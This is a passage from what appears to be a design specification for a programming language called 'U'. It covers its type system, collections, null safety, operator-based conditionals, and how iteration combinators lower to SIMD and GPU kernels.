    origin:   Vec2             // -R inline: Vec2 embedded, copies by value
    count:    I                // -R inline: scalar, copies by value
    vertices: [Vec2]+R      // +R heap array — reference shared on c
    normals:  [Vec2]+R      // +R heap array — reference shared on c
    material: Material+R    // +R heap object — reference shared on c

a = Mesh( origin: Vec2( x: 0.0, y: 0.0 ), count: 3,
          vertices: [...], normals: [...],
          material: Material("pbr") )
b = c a

// b.origin   → new Vec2 (inline — x and y duplicated)
// b.count    → 3 (scalar copy)
// b.vertices → same heap array as a.vertices (reference shared)
// b.normals  → same heap array as a.normals  (reference shared)
// b.material → same Material as a.material   (RAII refcount++)

b.origin.x = 1.0    // OK — b.origin is its own copy
a.origin.x           // still 0.0 — unaffected

// Want independent vertices? Copy the array explicitly:
b.vertices = c a.vertices   // b now has its own vertex buffer

// +R on a local binding: heap-allocated, shareable via +R properties
mat: Material+R = Material("wireframe") // heap, refcount=1
c: Mesh+R+M = Mesh(...)
c.material = mat    // OK: mat is +R — can be shared, refcount→2

// +R cannot reference a plain -R stack var — no refcount, compile error
plain: Vec2 = Vec2( x: 1.0, y: 2.0 )  // -R stack
c.material = plain   // ❌ types differ: +R expected, -R given

Method overrides and explicit parent calls

To override a method, redefine it in the subclass. To call the parent version, use ParentClass.method(args) — t is passed implicitly. There is no super keyword and no auto-super magic.

d Bar
    name: S
    f __setup__(a: I)
        t.name = a.__string__()
    f greet() -> S                    // instance — t used
        r => "Hello from " + t.name
    f version() -> S                  // static — no t
        r => "Bar v1"

d Foo : Bar
    x: S = "default"

    f __setup__(a: I, b: S)
        Bar.__setup__(a)            // explicit — t passed implicitly
        t.x = b                       // own init after parent

    f greet() -> S                    // overrides instance method
        base = Bar.greet()           // call parent — t implicit
        r => base + ", also " + t.x

    f version() -> S                  // overrides static — no t here either
        r => Bar.version() + "-Foo"

// Not calling Bar.__setup__ is valid — deliberate choice
// Compiler warns if __setup__ never calls parent's

Minimal Generics — Type Parameters on Classes

Classes may declare type parameters to express the type of contained values. Type parameter names must be multi-letter — single letters are reserved for keywords and primitive types. One exception: T is universally understood as "the type parameter" and is reserved for this use. All others must be multi-letter: Key, Val, Elem, Result — self-documenting and safe from future single-letter language additions. Domain-specific names like Vertex are equally valid.

Generics in v1 are class-level only. Generic functions use interfaces for polymorphism. Modifiers compose with type parameters and are validated at instantiation: [ElemType+V] requires ElemType to be a numeric type — VectorStore[S]() is a compile error.

// Type suffix recommended for generic names:
d Stack[ElemType]
    items: [ElemType]+M = []
    f push(item: ElemType)     t.items = [...t.items, item]
    f pop() -> ElemType+N        r => t.items.length > 0 ? t.items.last() ! none

d Result[OkType, ErrType]
    value: OkType+N
    error: ErrType+N
    f ok() -> L   r => t.error == none

// Domain names valid when context is clear:
d Graph[Vertex, Edge]
    nodes: [Vertex]+M = []
    edges: [Edge]+M   = []

// Modifiers validate at instantiation:
d VectorStore[ElemType]
    data: [ElemType+V]+R(GPU)   // ElemType must be numeric

VectorStore[N32]()   // ✓
VectorStore[S]()     // ✗ compile error: S+V invalid

// Generic functions use interfaces instead:
d Comparable!
    f compare_to(other: Comparable) -> I
f max(a: Comparable, b: Comparable) -> Comparable
    r => a.compare_to(b) > 0 ? a ! b

Union Types — T|S

val: I|S = get_something()
val.__string__()           // ✓ both I and S have __string__()
val.length               // ✗ only S has .length — narrow first

val :: I
    ? val.abs()          // val is I here
    ! val.uppercase()    // val is S here

// Overloaded methods: exact overload for each member = valid
d Formatter
    f render(v: I) -> S  => "int:" + v.__string__()
    f render(v: S) -> S  => "str:" + v
x: I|S = get_val()
fmt.render(x)            // ✓ exact overload exists for both I and S

// Generic union parameter
stack: Stack[I|S] = Stack[I|S]({})
stack.append(42)           // ✓ I is in I|S
stack.append("hi")         // ✓ S is in I|S
stack.append(3.14)         // ✗ N is not in I|S — compile error

// +N is sugar for T|none
name: S+N  = get_name()   // equivalent to S|none
name ?? "anonymous"

// Three-member union with exhaustive narrowing
token: I|S|L|none = parse()
token :: I ? handle_int(token)
      ! token :: S ? handle_str(token)
      ! token :: L ? handle_logical(token)
      !            skip()

Type Hierarchies — U's Enum Replacement

U has no enum keyword. Instead, named subtypes with dot-namespace syntax serve the same purpose — and more, because they participate in the event system, error system, and type dispatch natively.

// Define a base type and its variants
d Color
d Color.Red   : Color    // zero-field → auto-singleton
d Color.Green : Color
d Color.Blue  : Color

// Color.Red IS the value — no () needed
bg: Color = Color.Red
bg :: Color.Red    // L true — isinstance
bg :: Color        // L true — base type

// Variants can carry data (unlike traditional enums)
d Shape
d Shape.Circle    : Shape  { radius: N }
d Shape.Rect      : Shape  { width: N, height: N }
d Shape.Triangle  : Shape  { base: N, height: N }

// Dispatch via # type test
area = shape :: Shape.Circle
? Math.PI * shape.radius ^ 2
! shape :: Shape.Rect
? shape.width * shape.height
! shape.base * shape.height / 2

// Hierarchical namespaces
d NetworkError
d NetworkError.Transport         : NetworkError
d NetworkError.Transport.Timeout : NetworkError.Transport
d NetworkError.Transport.Refused : NetworkError.Transport
d NetworkError.Protocol          : NetworkError
d NetworkError.Protocol.SSL      : NetworkError.Protocol

The pit of success: typed middleware over switch/match

U has no switch or match keyword. This is deliberate. Enumerating cases in a closed dispatch block couples the caller to every variant — adding a new case requires finding and updating every dispatch site. The open alternative is typed handlers:

// ❌ closed dispatch — every new Shape breaks this
area = shape :: Shape.Circle   ? Math.PI * shape.radius ^ 2
     ! shape :: Shape.Rect     ? shape.width * shape.height
     !                           0.0   // ← new shapes silently return 0

// ✅ open dispatch — new Shape? add one handler, no existing code changes
renderer.on((s: Shape.Circle)   => draw_circle(s.radius))
renderer.on((s: Shape.Rect)     => draw_rect(s.width, s.height))
renderer.on((s: Shape.Triangle) => draw_triangle(s.base, s.height))
// add Shape.Hexagon later? one new line, zero regressions

// Same pattern already used for errors:
e.on((err: NetworkError.Transport.Timeout) => retry())
e.on((err: NetworkError.Protocol.SSL)       => alert_security())
// errors and enums are the same pattern. one mechanism.

Static fields — +G

+G is for class-level (static) fields — shared across all instances, not per-instance. Separate concern from type hierarchies.

d Config
    api_url:  S +G    = "https://api.example.com"  // static constant
    timeout: I +G    = 30                        // static constant
    calls:   I +G+M  = 0                         // static mutable counter
    host:    S       = "localhost"               // instance field (no +G)

Type test — expr :: Type

Given types are known at compile time, it might seem redundant — and for a variable used at its own declared type, it is: Point is always exactly Point. It stops being redundant the moment polymorphism is involved: a variable's static type can be a base type while its runtime value is a more specific subtype — shape: Shape = pick_a_shape() tells the compiler nothing about which Shape variant is actually there. expr :: Type exists for exactly this narrowing, and it's the same operation both the closed-dispatch ternary form and the open .on() handler-registration form are built on underneath — registering renderer.on((s: Shape.Circle) => ...) only makes sense because the compiler can check, at the point a Shape value actually arrives, whether it in fact is a Shape.Circle.

An infix operator — :: reads as "is-a" (x :: Foo — "is x a Foo?"). It is deliberately a distinct operator from the : of a type annotation, and that distinction removes the one real ambiguity in the surface syntax: a : I declares a to be of type I (annotation), while a :: I tests whether a is an I at runtime (is-a). One colon binds a name to a type; two colons ask a question about a value. :: is otherwise unused in U — there is no Class::member static-scope syntax (member access is always .) — so the operator is free for exactly this purpose. Copy (c expr) and is-a (x :: Type) being operators rather than methods means no single-letter methods are reserved — point.x, point.c, and node.f are all valid fields. .on() is a two-letter method on generators and event-emitting classes, not a reserved keyword. Works the same on a parameterized type: x :: Stack[I] asks whether x is a Stack of I specifically.

shape: Shape = pick_a_shape()

// closed dispatch — condition is a type-test
area = shape :: Shape.Circle ? Math.PI * shape.radius ^ 2
       ! shape :: Shape.Rect    ? shape.width * shape.height
       ! shape.base * shape.height / 2

// as a guard condition
shape :: Shape.Circle & draw_circle(shape.radius)

Interfaces & Abstract Methods — !

A class with only method signatures and no fields is an interface — the compiler infers this from the structure, no ! marker needed. Comma-separated parents in d Foo : A, B, C can mix one parent class (has state) with multiple interfaces (pure signatures). If more than one parent has state, it's a compile error. Append ! to an individual method for an abstract method in a partial abstract class.

// Pure interface — all methods abstract
d Drawable!
    f draw(ctx: Context)        // abstract — no body
    f bounds() -> Rect            // abstract — no body

// Partial abstract class — some concrete, some abstract
d Animal
    f speak()!                   // abstract — subclass must implement
    f breathe()                  // concrete — inherited as-is
        t.lungs.cycle()

// Concrete implementation
d Circle : Drawable
    radius: N
    f draw(ctx: Context)
        ctx.draw_circle(t.center, t.radius)
    f bounds() -> Rect
        r => Rect( x: t.center.x - t.radius, y: t.center.y - t.radius,
                    width: t.radius*2, height: t.radius*2 )

// Type test works for interfaces
shape: Drawable = Circle( radius: 5.0 )
shape :: Drawable   // L true
shape :: Circle     // L true — concrete type also works

// Static interface methods: not allowed — interfaces are for instances
// Use type hierarchies for static polymorphism instead:
d Shape.Circle : Shape
    f create(radius: N) -> Shape.Circle   // static — called as Shape.Circle.create(5.0)
        r => Shape.Circle( radius )

Untyped parameters — not allowed

Every parameter must have a type annotation. f process(data) is a compile error. No untyped escape hatch — the type system has no any. Use interfaces or class hierarchies for polymorphism, __unpack__ for external data.

f good(data: [N32+V])          // ✓ typed

// f bad(data)  ← ✗ compile error: no type annotation
f fetch(url: S, { timeout: I = 30, verbose: L = false })
// { timeout }  ← ✗ compile error: missing type in named param

Maps — {K: V}

When the shape of data is known at compile time, use a typed class. When keys are determined at runtime — JSON payloads, plugin config, metadata — use a {K: V} map.

In v1, arrays [T] and maps {K: V} are the only parameterized types. No full generics yet, but these two cover most needs. Maps accept all modifier annotations and have the same iteration methods as arrays. Iteration order is guaranteed to be insertion order — this is a language guarantee, not an implementation detail. Map iteration handlers receive (key, value) pairs.

// Map literal — runtime key-value store
meta: {S: V} = { "author": "Alice", "version": 3 }

// Any comparable type as key
user_by_id:  {I: User}    = {}   // integer keys
by_point:   {Point: I}   = {}   // class key — Point must implement hash() and ==

// Dynamic access — returns +N (key may not exist)
author:  S+N = meta["author"]
version: I    = meta["version"] ?? 1
"author" in meta   // L — O(1) membership

// Modifiers — same as classes
ro_config:  {S: S}+R-M         = load_config()   // shared immutable
live_state: {S: V}+R+M(MVCC) = {}            // shared mutable + MVCC

// Class as key — implement hash() and ==
d Point
    x: I, y: I
    f __hash__() -> I              => (t.x * 31 + t.y) * 31
    f __equals__(other: Point) -> L => t.x == other.x & t.y == other.y

grid: {Point: S} = {}   // works because Point has __hash__ and __equals__
grid[Point( x: 0, y: 0 )] = "origin"

Map iteration — same methods as arrays

All map iteration receives (key, val) pairs. Three-signal convention: none = include/continue, false = skip, true = stop.

// .on() — side effects
meta.on((key, val) => log("{key}: {val}"))

// .filter() — returns new Map
strings = meta.filter((key, val) => val :: S ? none ! false)

// .map() — transform values, keys preserved
upper = meta.map((key, val) => val :: S ? val.uppercase() ! val)

// .find() — returns (K, V) +N
hit: (key: S, val: Any)+N = meta.find((key, val) => val == target ? none ! false)

// .reduce() — fold
total = prices.reduce((acc, val, key) => acc + val, 0.0)

// Promise-aware: .all() and .any() work on {K: V +A} maps
fetching: {S: Response+A} = endpoints.map((key, url) => a fetch(url))
results:  {S: Response}   = fetching.all()   // await all, same keys preserved
first:    Response+N+A  = fetching.any()   // first to resolve

Sets — {K}

f render(shapes: {Shape}) -> Html
f render(colors: {Color}) -> Html

circle: Shape + Color = ...
shapes: {Shape} = {circle}     // typed local → unambiguous
render(shapes)                   // calls the {Shape} overload

// Same pattern for arrays, maps, and initial values of
// constant-size or multidimensional arrays: construct locally
// with the correct type, then pass or assign.

// Type and construction
admins: {S} = {"alice", "bob"}       // target type {S} → set construction
empty_map: {S: I} = {}               // {} = empty map
empty_set: {S} = {}                      // target type {S} → empty set
empty_map = {}                            // no type annotation → empty map
payload = {...fields, name, age}          // spread + property shorthand → map
config: {S:S} = {host, port}            // target {S:S} → property shorthand
frozen: {S}-M = { "x", "y" }          // immutable — initialized upfront

// Membership — O(1)
admins.has("alice")      // true
"carol" in admins        // false

// Mutation

admins.delete("bob")       // true — bob was present, now removed
admins.insert("dave")     // true — dave added (was absent)
admins.insert("alice")    // false — already in set

// Set operations — return a new set
editors: {S} = { "bob", "carol" }
admins.union(editors)         // { "alice", "bob", "carol" }
admins.intersection(editors)  // { "bob" }
admins.difference(editors)    // { "alice" }

// Iteration and conversion
admins.on((key: S) => notify(key))
admins.map(k => k.upper())    // returns [S] — mapped values may not be unique
admins.filter(k => k.length > 3)  // returns {S}
["a","b","a"].to_set()         // {S} — deduplicates
admins.to_array()               // [S] — order unspecified

// Map × set — filter by key membership
scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.filter_keys(admins)      // {S:N} — only keys in admins

Array ↔ Set interoperability

// .filter() — result type follows source
admins.filter(k => k.length > 3)   // {S} — still a set
names.filter(n => n.length > 3)    // [S] — still an array

// .map() — always returns array
admins.map(k => k.upper())          // [S] — not a set
admins.map(k => k.upper()).to_set()   // {S} — if you want dedup

// Explicit conversion
tags = ["a","b","a"].to_set()      // {S} — deduplicates
arr  = admins.to_array()             // [S] — order unspecified
sorted = admins.to_array().sort()    // [S] sorted — go via array

// No implicit coercion
// f process(items: [S]) does NOT accept {S} directly
// process(admins.to_array())  ← explicit, always

Map iteration — (key, value) pairs, insertion order guaranteed

scores: {S: N} = { "alice": 9.8, "bob": 7.4, "carol": 8.1 }

// .on() — iterate (key, value) in insertion order
scores.on((score, name) => print(name + ": " + score.__string__()))  // value first
// alice: 9.8 / bob: 7.4 / carol: 8.1 — guaranteed order

// .map() — transform values, key passed through
grades: {S: S} = scores.map((score, name) => score >= 9.0 ? "A" ! "B")

// .filter() — keep entries where predicate holds
top_scores: {S: N} = scores.filter((score, name) => score >= 9.0 ? none ! false)

// .all() / .any() — synchronous predicates
all_passed: L = scores.all((score, name) => score >= 5.0)   // true
any_honours: L = scores.any((score, name) => score >= 9.5)  // false

// .reduce() — fold over entries
total: N = scores.reduce((acc, score, name) => acc + score, 0.0)

// .find() — first matching entry, returns value+N
winner: N+N = scores.find((score, name) => score >= 9.0 ? none ! false)

// .keys() / .values() / .items() — explicit projection
names:   [S]        = scores.keys()     // [S] in insertion order
vals:    [N]        = scores.values()   // [N] in insertion order
pairs:   [[S, N]]  = scores.items()  // [[key, value], ...] in insertion order

Why Symbol, WeakMap, and a separate Map type are unnecessary

String Methods — S

Strings are immutable by default (-M). All methods return a new string. Indexing is 1-based.

name = "  Hello, World!  "
name.strip().lower()                // "hello, world!"
name.strip().upper()                // "HELLO, WORLD!"
"a,b,c".split(",")               // ["a", "b", "c"]
url.starts_with("https")           // true
url.index_of("api")                // I+N — 1-based position
"7".pad_start(3, "0")              // "007"
"42".to_i()                         // 42
"abc".to_i()                        // none
msg = "Found {count} items"         // interpolation calls .__string__()

Map Methods — {K: V}

Empty literal: {} — type-directed. s: {S} = {} is an empty set. m: {S:I} = {} or bare m = {} is an empty map. The default (no type annotation) is always map — JS developers can write config = {} without tripping.

scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.has("alice")                  // true — O(1)
scores["alice"]                       // 9.8 — V+N, never throws
scores["dave"]                        // none — key absent
scores.insert("dave", 8.5)            // true — inserted
scores.insert("alice", 0.0)           // false — alice unchanged
doubled = scores.map(v => v * 2)      // {S:N} — same keys
top = scores.filter(v => v >= 9.0)   // {S:N}
defaults.merge(config)               // right wins on conflict
empty: {S: I} = {}                   // {} = empty map
val  = scores.pop("alice")              // N+N — 9.8, removed
val  = scores.pop("alice") ?? 0.0       // N   — 0.0 if absent (non-nullable maps)
val2 = scores.pop("alice", 0.0)         // N   — 0.0 if absent, regardless of stored null

Array Methods — Complete Reference

All structural mutation methods require +M. Non-mutating methods return a new value. Indexing is 1-based.

nums: [I] = [1, 2, 3]
nums.append(4)                        // [1,2,3,4]
nums.pop()                           // returns 4
[1,2].concat([3,4])               // [1,2,3,4]
["a","b"].join(", ")               // "a, b"
[[1,2],[3]].flatten()                  // [1,2,3]
[1..10].take(3)                     // [1,2,3]
[1..10].drop(7)                     // [8,9,10]
[1..6].chunk(2)                     // [[1,2],[3,4],[5,6]]
[3,1,4].reverse()                   // [4,1,3]
orders.sum(o => o.amount)          // N
users.min(u => u.age)              // User+N
[1,2,3].zip([4,5,6], (a,b) => a+b)  // [5,7,9]
names.has("alice")             // L — O(n), use {S} for O(1)
[1,2,2,3].unique()                  // [1,2,3]
[1,2,2].to_set()                     // {1,2}

Magic Methods

Thirteen double-underscore methods form the v1 protocol (six protocol + seven operator). The compiler recognises them by name and calls them automatically.

d User
    id:    I
    name:  S
    email: S

    // Identity by id only — name and email changes don't affect map keys
    f __hash__() -> I            => t.id
    f __equals__(other: User) -> L => t.id == other.id

    // Serialization — round-trips through __unpack__
    f __pack__(): {S: JsonValue}
        r => "{t.id}|{t.name}|{t.email}"

    // Class method (z f) — called as User.__unpack__(data)
    z f __unpack__(data: {S: JsonValue}) -> User
        parts = data.split("|")
        r => User( id: parts[1].to_i(), name: parts[2], email: parts[3] )

// Usage
user_map: {User: Session} = {}      // User as map key — uses __hash__ and __equals__

alice = User( id: 1, name: "Alice", email: "a[at]x.com" )
packed = alice.__pack__()                // { id: 1, name: "Alice", email: "[email protected]" }
back  = User.__unpack__(packed)        // User({ id: 1, name: "Alice", ... })
alice == back                          // true — same id, __equals__ passes


    // Conflict resolution — called when two coroutines write same Config
    f __merge__(base: Config, theirs: Config) -> Config
        Config(
            host: theirs.host,             // theirs wins for host
            port: t.port,                  // keep my port
            flags: t.flags.merge(theirs.flags)  // union flags map
        )

// Default: no magic methods needed for simple value types
d Color { r: I, g: I, b: I }         // structural __hash__ and __equals__ auto-generated
color_count: {Color: I} = {}            // just works

NoSQL Document ORM

// ── Schema declaration ────────────────────────────────────────
d @doc("users")          // maps to "users" collection
User
    @id id:    S         // document ID
    name:      S
    email:     S
    age:       I+N       // nullable — old docs return none
    tags:      [S]

// ── CRUD ──────────────────────────────────────────────────────
user  = orm.get(User, "abc123")           // User+N
users = orm.find(User, u => u.age > 18)   // [User]
id    = orm.insert(user)                    // calls __pack__() → JSON → db
orm.update(user)                            // calls __pack__() → patch document
orm.delete(User, "abc123")

// ── Pagination and sorting ────────────────────────────────────
page = orm.find(User, u => u.active)
         .sort(u => u.name)
         .skip(20).take(10)

// ── Complex predicates — same > < syntax, no $gt needed ──────
users = orm.find(User, u =>
    u.age > min_age
    and u.tags.has("admin")
    and u.name.starts_with("A")
)
// orm module compiles predicate to db-native query at compile time
// for db-specific operators ($text, $geoNear), use mongodb`` template

// ── Nested documents — __unpack__ recurses automatically ────────
d @doc("orders")
Order
    @id id:    S
    user:      User      // embedded document — User.__unpack__() called automatically
    items:     [Item]   // array of nested objects
    total:     N

order = orm.get(Order, id)   // Order + nested User + [Item] all hydrated in one call

Null Safety

// ⚠ valid but consider alternatives when schema is known
scores:  {S: I+N}      // allowed — but has() already handles absent; +N adds null-as-value
members: {User+N}     // allowed — {K+N} set can contain none as a member
docs:    {S: Json+N}   // ✓ legitimate — NoSQL/dynamic JSON needs null distinct from absent

// ✓ correct designs
enrolled: {S}           // who exists
scores:   {S: I}        // score only set when known

// or union type for explicit states
d Score.Pending   : Score
d Score.Withdrawn : Score
d Score.Value     : Score  { n: I }
scores: {S: Score}      // explicit states, no hidden nulls

// ✓ arrays: +N is fine — slot always exists within bounds
grid    = [User+N]-M(64)    // 64 slots, some occupied, some empty
results = inputs.map(parse)    // [I+N] — some parses failed
valid   = results.filter(r => r != none)  // [I] — compiler narrows

// -N default: can never be null — no check emitted
name:  S = "Alice"         // -N: compiler skips null check entirely
count: I = 42

// +N: may be none — must handle before use
user: User+N = find_user(id)

// Map subscript always returns V+N — forces handling
val = scores["alice"]         // N+N — must handle none
bad: N = scores["alice"]      // ✗ COMPILE ERROR — scores["key"] is N+N not N
ok:  N = scores["alice"] ?? 0.0  // ✓ N — ?? resolves to non-null

// Null narrowing — compiler tracks type through branches
val = scores["alice"]         // val: N+N
val == none
    ? skip()
    ! val * 2                  // ✓ val is N here — compiler narrowed it

val != none
    ? val.round()              // ✓ val is N — non-null branch
    ! 0.0

// ?? coalesce — result type is non-null
display = user?.name ?? "Guest"   // S — non-null (fallback covers none)
port    = config.port ?? 8080

// ?. optional chaining — none propagates through whole chain
city = user?.address?.city         // S+N — none if user or address is none
city_safe = user?.address?.city ?? "unknown"  // S — fallback resolves

// ?.() — call nullable function, then chain further
result = callback?.()              // Result+N — none if callback is none
name   = callback?.()?.foo         // S+N — chain: call if non-null, access .foo if non-null
label  = callback?.()?.foo ?? "n/a" // S — full chain with fallback

// & guard — execute only if non-null
user & send_welcome_email(user)    // runs only if user != none

// Early return on none — clean handler pattern
f handle_login(uid: I) -> Response+N
    user = find_user(uid)
    user ?? r => Response.not_found()  // early return if none
    // user narrowed to User -N here — compiler knows it's safe
    session = create_session(user)
    r => Response.ok(session.token)

// Compile error: cannot dereference +N without handling
bad = user.name    // ✗ COMPILE ERROR — user is +N, must use user?.name or check first

Why & Guards on Truthy, Not Just Non-Null

// Common case — & is correct and cheap:
(item = cache.get(key)) & item.render()
// empty string, empty array, 0 from get() → correctly treated as "nothing"

// Rare case — false is meaningful data, not absence:
(granted = check_permission(user)) != none & grant(granted)
// explicit, slightly longer — signals "this function can return false as real data"

Conditionals — ?! & | ?? :

No if, no else, no switch, no match. Five operators handle all conditional logic.

Operator precedence

From lowest to highest binding power:

// Syntax rules: ? and ! at condition indent level
// Arbitrary spaces after ? or ! to align. Continuations indented.

// Inline
label = count > 1 ? "items" ! "item"

// Multi-line block — last expr in each branch is the value
greeting = time < 12
? name = user.first_name
    "Good morning, " + name      // indented → still in ? branch
! name = user.nickname | user.first_name
    "Good afternoon, " + name    // indented → still in ! branch

// Nested
status = user != none
?   user.active
    ?   "active user"
    !   "inactive user"
!   "no user"

// Switch-like: ! at condition level, spaces after ! for alignment
grade = score >= 90 ? "A"
!       score >= 80 ? "B"
!       score >= 70 ? "C"
!                     "F"

// expr :: Type — type test, returns L
shape :: Circle    & draw_circle(shape)
shape :: Rectangle & draw_rect(shape)

// Type dispatch with ?! — replaces switch/match/instanceof
area = shape :: Circle
?   Math.PI * shape.radius ^ 2
! shape :: Rectangle
?   shape.width * shape.height
!   0.0

// & | ?? — short-circuit value operators
admin  & show_admin_panel()            // guard
valid  & r => compute()             // conditional return
label = user.nickname | user.first_name | "Anonymous"  // fallback
port  = config.port ?? 8080          // null coalesce

Iteration — Array Methods

No for, no while. All iteration uses named methods — all native, all bounded by default, all sharing one underlying engine. The engine is .on() — the handler-registration primitive that attaches a function to a source, whether that source is a collection's elements, an error channel, or an async resolution; .map(), .filter(), and .reduce() are the same machine differing only in how the handler's return value is interpreted — as control, as data, as selection, or as an accumulator. All share the (fn, max_in_flight?) and (arrayOfFns, max_in_flight?) signatures. For unbounded / infinite iteration over streams and generators, see generators.

Compiler-transparent parallelism: .map/.filter/.on are parallel by construction

The reason these combinators can lower to SIMD lanes or a GPU kernel is structural, not heuristic. .map, .filter, and .on are element-independent: each handler invocation reads one element and produces one output, with no dependence on any other element's result. Element-independence is exactly the property that makes work embarrassingly parallel — the N invocations may run in any order, or all at once, and yield the identical result. In a C for loop this same fact must be recovered by loop-carried-dependence analysis, which is conservative and often fails; in U it is guaranteed by what the combinator means, so no analysis is required. This is the compiler-transparent thesis applied to parallelism: the combinator's shape, plus −M/−R on the element type (no aliasing, no mutation), is the parallelization license.

Vectorization and GPU lowering. On a +V element type the compiler emits SIMD across lanes; on a +R(GPU) element type it emits a GPU kernel over the grid — the same source combinator, a different backend chosen by the element modifier. Q+V lowers transparently too: exact rational lanes become paired-integer SIMD. No kernel is hand-written; data.map(fn) is the kernel.

What lowers cleanly, and divergence. Peak throughput needs the handler to be a uniform kernel: pure arithmetic, no I/O, no suspension, and ideally no per-element branch. A data-dependent branch — (x) => x > 0 ? hot(x) : cold(x) — causes divergence: a GPU warp executes in lockstep, so it runs both paths with the inactive lanes masked, paying for each branch on every element. Divergence never changes the result (the combinator is still correct and still parallel) — it only lowers the speed, degrading gracefully toward the scalar cost. So element-independence is a correctness-level guarantee of parallelizability; divergence-freedom is a performance property layered on top.

.reduce and associativity. Unlike map/filter/on, .reduce carries a cross-element dependency. It still parallelizes as a tree reduction when its combining operator is associative — sum, product, max, min, boolean-and/or all qualify — and falls back to a sequential fold otherwise. The compiler decides from the operator, not from inspecting the loop body: an associative op is $O(\log n)$ depth on parallel hardware, a non-associative one is a scalar fold.

max_in_flight and the default width. The default degree of parallelism follows the source, because the source tells the compiler which kind of concurrency applies:

So max_in_flight is a single knob with two readings — a tile/lane bound for data parallelism, an in-flight I/O bound for async — and its default is 1 only for +A sources, where sequential-with-backpressure is the safe default. For data-parallel sources the default is the full hardware width, because there is no reason to run vector work one lane at a time. The modifier system thereby disambiguates two distinct kinds of concurrency — data parallelism and I/O overlap — from the element type alone.

+V vectorization: U as a portable kernel language

The parallelism above lowers to CPU SIMD by default. The same combinator chain lowers to a GPU warp kernel when the handler is a +V function over +V data. +V means one thing on two carriers: on a function it is vectorizable computation (this code can run in lanes); on data it is vector-ready layout (this data can be fed to such code without repacking). The two are the two ends of one requirement — a +V function consumes +V data with zero marshalling. The only separate modifier is +R(GPU), which places data in device memory.

Purity is exactly what earns the V on a function. A GPU is SIMT: a warp of 32 (or a wavefront of 64) threads shares one instruction pointer and steps in lockstep. That is precisely what a pure function tolerates and an impure one does not — no I/O, no syscalls, no suspension, no writes to shared mutable state, because a lockstep lane can do none of these. And impurity is also exactly what stops CPU auto-vectorization, so "vectorizable" and "pure numeric" are one condition, not two — which is why +V needs no companion kernel modifier. In U's algebra purity is already two axes: -E (effect-free — the spec's -E already forbids suspension) and -D (deterministic). So +V on a function entails -E -D plus statically-bounded control flow (no unbounded recursion; trip counts the compiler can see) and lane-representable operations. +V and +E are mutually exclusive — a function cannot both opt into effects and vectorize.

This is the pit of success reaching the GPU: the subtractive constraints earn an additive capability. You do not annotate a function to make it fast; being pure is what licenses the lane/warp lowering, and +V is the receipt. Like +A, it is inferred where a handler qualifies (so the fast path is the default path) and assertable on demand — writing +V forces a compile error if the body is not vectorizable, instead of a silent fall back to scalar. That turns "why is my GPU code secretly running on the host?" — the classic CUDA footgun — into a diagnostic at the offending line. The compiler then places a +V computation on the best available target along a graceful ladder: GPU warps (data is +R(GPU), device present, array large enough to amortize transfer) → CPU SIMD lanes → CPU threads across cores (element-independence + max_in_flight, via GCD or a thread pool) → scalar. Same source, every backend.

The data side: +V is the no-copy license, and the preparation gradient is visible in the type. A +V function consumes +V data directly. Feeding it non-+V data means the compiler must first repack into vector-ready layout (and, for GPU, stage it into device memory) — a real cost that U forbids to happen implicitly, so it surfaces as an explicit c and a compile error if omitted. The data annotations compose into a gradient where each step removes one preparation cost:

grid: [[N32]]              // unprepared: needs repack + ship to feed a +V fn
grid: [[N32+V]]           // vector-ready layout, but host-resident: still ships to GPU
grid: [[N32+V]]+R(GPU)   // vector-ready AND device-resident: zero-cost kernel feed

out = grid.on(f+V (px) => px * gain)     // +V handler ⇒ lane/warp kernel
             .filter(f+V (px) => px > floor) // fused into the same kernel
result = c+R out                     // explicit readback to host

The execution hierarchy maps onto the modifiers, not onto new syntax. The iteration space of [[N32+V]]+R(GPU) is the grid; the compiler tiles it into thread blocks (up to 1024 threads, sharing one streaming multiprocessor's resources) and warps/wavefronts (32/64 lockstep lanes). max_in_flight for a GPU source is the block/tile size — elements per launch, bounded by register and shared-memory pressure, exactly the SM-resource limit. A chained .on(…).filter(…).map(…) becomes a single fused kernel: each element flows through the whole chain in registers without materialising intermediates, the way XLA and torch.compile fuse elementwise ops.

Latency hiding falls out of element-independence. When one wavefront stalls waiting on a global-memory fetch, the SM scheduler instantly swaps in another ready wavefront to keep the cores busy. That swap is only sound because the elements are independent — there is no cross-element dependency that a reordered wavefront could violate. So the same structural independence that licenses parallelization (Prop 6.2 in the paper) is what licenses latency-hiding scheduling: the chained combinators are the wavefronts, and their independence is what lets the scheduler interleave them freely.

Memory: +R(GPU) is a residency, and crossing regimes is an explicit c

+R(GPU) denotes global device memory — the GPU's DRAM, visible to every thread across every block, persisting across kernel launches. U names only this tier, because it is the one every backend has. The finer tiers are the compiler's job and are never annotated: kernel locals are -R per-lane registers (the strongest -R there is), and shared/block, texture, and constant memory are chosen by the compiler as optimizations. Anything more granular than +R(GPU) vs -R would be vendor-specific (a CUDA concept leaking into the language), so it stays in the backend. The programmer expresses the one distinction that carries meaning — device-global vs per-lane-private — and the compiler places the rest, exactly as it allocates registers and manages cache on the CPU.

Ownership of device memory. +R(GPU) is host-owned: the host allocates the device buffer, launches kernels that read and write it, and frees it. A warp lane cannot allocate, free, or escape it — threads hold a transient, non-owning -R borrow for the kernel's duration. The data outlives every thread, but no thread let it escape; its lifetime is bounded by the host, not by any lane. This is why device residency is unmediated: +R(GPU) carries no proxy policy, and +R(GPU) +M(MVCC) (or Actor, or Mutex) is a type error — a warp cannot participate in MVCC snapshots or lock acquisition, so a mediated object simply cannot be device-resident.

Crossing between R-regimes is the same explicit c U already requires everywhere. Moving a value between ownership regimes — host +R to +R(GPU), device back to host, or either into a -R local — is an explicit copy, and using a value in the wrong regime is a compile error. The GPU adds no new transfer rule; it adds one regime value (GPU) to the set the existing rule governs. This is exactly the discipline that prevents hidden host↔device transfers — the dominant CUDA performance bug — for free, because U forbids implicit cross-regime copies for reasons that predate the GPU.

Feeding a mediated object to a kernel is where this pays off. A +M(MVCC) object cannot cross to the device with its policy intact, so c+R(GPU) src on an MVCC source generates a policy-boundary crossing: it takes a coherent snapshot out through the MVCC proxy (precisely what MVCC is good at — a consistent read without blocking writers), lands it as a plain unmediated +R(GPU) buffer, runs the kernel, and — if results must return to a mediated structure — writes them back through the proxy on the host as a proposed mutation. The programmer writes one c; the source's policy modifier is what tells the compiler to generate the snapshot. Extracting a race-free slice of concurrently-mutated data to feed a kernel, a manual and error-prone dance in raw CUDA, becomes a typed transfer whose safety the policy modifier already guarantees.

